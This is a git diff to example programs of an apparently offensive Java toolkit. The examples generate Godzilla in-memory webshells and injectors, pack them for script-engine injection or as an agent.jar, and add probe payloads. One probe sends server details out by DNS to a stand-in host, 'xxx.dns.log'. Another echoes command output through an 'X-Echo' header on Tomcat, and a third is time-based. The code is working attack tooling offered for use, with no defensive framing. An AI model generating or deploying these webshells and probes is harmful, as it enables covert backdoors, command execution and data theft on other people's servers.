diff --git a/examples/memshell-party-maven-example/pom.xml b/examples/memshell-party-maven-example/pom.xml
index 69eb3d0f..edaed787 100644
--- a/examples/memshell-party-maven-example/pom.xml
+++ b/examples/memshell-party-maven-example/pom.xml
@@ -18,8 +18,27 @@
io.github.reajason
generator
- 1.8.0
+ 2.0.0-SNAPSHOT
+
+
+ io.github.reajason
+ packer
+ 2.0.0-SNAPSHOT
+
+
+
+ Central Portal Snapshots
+ central-portal-snapshots
+ https://central.sonatype.com/repository/maven-snapshots/
+
+ false
+
+
+ true
+
+
+
\ No newline at end of file
diff --git a/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/DnsLogProbe.java b/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/DnsLogProbe.java
new file mode 100644
index 00000000..f8bce816
--- /dev/null
+++ b/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/DnsLogProbe.java
@@ -0,0 +1,32 @@
+package com.reajason.javaweb;
+
+import com.reajason.javaweb.packer.Packers;
+import com.reajason.javaweb.probe.ProbeContent;
+import com.reajason.javaweb.probe.ProbeMethod;
+import com.reajason.javaweb.probe.ProbeShellGenerator;
+import com.reajason.javaweb.probe.ProbeShellResult;
+import com.reajason.javaweb.probe.config.DnsLogConfig;
+import com.reajason.javaweb.probe.config.ProbeConfig;
+
+/**
+ * @author ReaJason
+ * @since 2025/8/13
+ */
+public class DnsLogProbe {
+ public static void main(String[] args) {
+ ProbeConfig probeConfig = ProbeConfig.builder()
+ .probeMethod(ProbeMethod.DNSLog)
+ .probeContent(ProbeContent.Server) // 暂只支持 Server 和 JDK
+ .shrink(true)
+ .debug(false)
+ .build();
+
+ DnsLogConfig dnsLogConfig = DnsLogConfig.builder()
+ .host("xxx.dns.log")
+ .build();
+
+ ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, dnsLogConfig);
+
+ System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
+ }
+}
diff --git a/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/Godzilla.java b/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/Godzilla.java
index c63aff92..10944a23 100644
--- a/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/Godzilla.java
+++ b/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/Godzilla.java
@@ -1,10 +1,14 @@
package com.reajason.javaweb;
-import com.reajason.javaweb.memshell.*;
-import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.Server;
+import com.reajason.javaweb.memshell.MemShellGenerator;
+import com.reajason.javaweb.memshell.MemShellResult;
+import com.reajason.javaweb.memshell.ShellTool;
+import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.packer.Packers;
/**
* @author ReaJason
@@ -33,18 +37,13 @@ public class Godzilla {
// .headerValue("test")
.build();
- GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
+ MemShellResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("注入器类名:" + result.getInjectorClassName());
System.out.println("内存马类名:" + result.getShellClassName());
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
-
- System.out.println("Base64 打包:" + Packers.Base64.getInstance().pack(result));
-
- System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result));
-
- System.out.println("CC3 打包:" + Packers.JavaCommonsCollections3.getInstance().pack(result));
+ System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
}
}
diff --git a/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/GodzillaAgent.java b/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/GodzillaAgent.java
index 73472a33..43f265d6 100644
--- a/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/GodzillaAgent.java
+++ b/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/GodzillaAgent.java
@@ -1,11 +1,15 @@
package com.reajason.javaweb;
-import com.reajason.javaweb.memshell.*;
-import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.MemShellGenerator;
+import com.reajason.javaweb.memshell.MemShellResult;
+import com.reajason.javaweb.memshell.ShellTool;
+import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
-import com.reajason.javaweb.memshell.packer.jar.JarPacker;
+import com.reajason.javaweb.packer.Packers;
+import com.reajason.javaweb.packer.jar.JarPacker;
+import com.sun.security.ntlm.Server;
import java.nio.file.Files;
import java.nio.file.Paths;
@@ -38,7 +42,7 @@ public class GodzillaAgent {
// .headerValue("test")
.build();
- GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
+ MemShellResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("注入器类名:" + result.getInjectorClassName());
System.out.println("内存马类名:" + result.getShellClassName());
@@ -46,7 +50,7 @@ public class GodzillaAgent {
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
- byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
+ byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result.toJarPackerConfig());
Files.write(Paths.get("agent.jar"), agentJarBytes);
}
}
diff --git a/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/ResponseBodyProbe.java b/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/ResponseBodyProbe.java
new file mode 100644
index 00000000..5eacdc00
--- /dev/null
+++ b/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/ResponseBodyProbe.java
@@ -0,0 +1,35 @@
+package com.reajason.javaweb;
+
+import com.reajason.javaweb.packer.Packers;
+import com.reajason.javaweb.probe.ProbeContent;
+import com.reajason.javaweb.probe.ProbeMethod;
+import com.reajason.javaweb.probe.ProbeShellGenerator;
+import com.reajason.javaweb.probe.ProbeShellResult;
+import com.reajason.javaweb.probe.config.ProbeConfig;
+import com.reajason.javaweb.probe.config.ResponseBodyConfig;
+
+import static com.reajason.javaweb.Server.Tomcat;
+
+/**
+ * @author ReaJason
+ * @since 2025/8/13
+ */
+public class ResponseBodyProbe {
+ public static void main(String[] args) {
+ ProbeConfig probeConfig = ProbeConfig.builder()
+ .probeMethod(ProbeMethod.ResponseBody)
+ .probeContent(ProbeContent.Command)
+ .shrink(true)
+ .debug(false)
+ .build();
+
+ ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
+ .server(Tomcat)
+ .reqHeaderName("X-Echo")
+ .build();
+
+ ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, responseBodyConfig);
+
+ System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
+ }
+}
diff --git a/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/SleepProbe.java b/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/SleepProbe.java
new file mode 100644
index 00000000..98119b1d
--- /dev/null
+++ b/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/SleepProbe.java
@@ -0,0 +1,34 @@
+package com.reajason.javaweb;
+
+import com.reajason.javaweb.packer.Packers;
+import com.reajason.javaweb.probe.ProbeContent;
+import com.reajason.javaweb.probe.ProbeMethod;
+import com.reajason.javaweb.probe.ProbeShellGenerator;
+import com.reajason.javaweb.probe.ProbeShellResult;
+import com.reajason.javaweb.probe.config.ProbeConfig;
+import com.reajason.javaweb.probe.config.SleepConfig;
+
+import static com.reajason.javaweb.Server.Tomcat;
+
+/**
+ * @author ReaJason
+ * @since 2025/8/13
+ */
+public class SleepProbe {
+ public static void main(String[] args) {
+ ProbeConfig probeConfig = ProbeConfig.builder()
+ .probeMethod(ProbeMethod.Sleep)
+ .probeContent(ProbeContent.Server) // 暂只支持 Server
+ .shrink(true)
+ .debug(false)
+ .build();
+
+ SleepConfig sleepConfig = SleepConfig.builder()
+ .server(Tomcat)
+ .seconds(5).build();
+
+ ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, sleepConfig);
+
+ System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
+ }
+}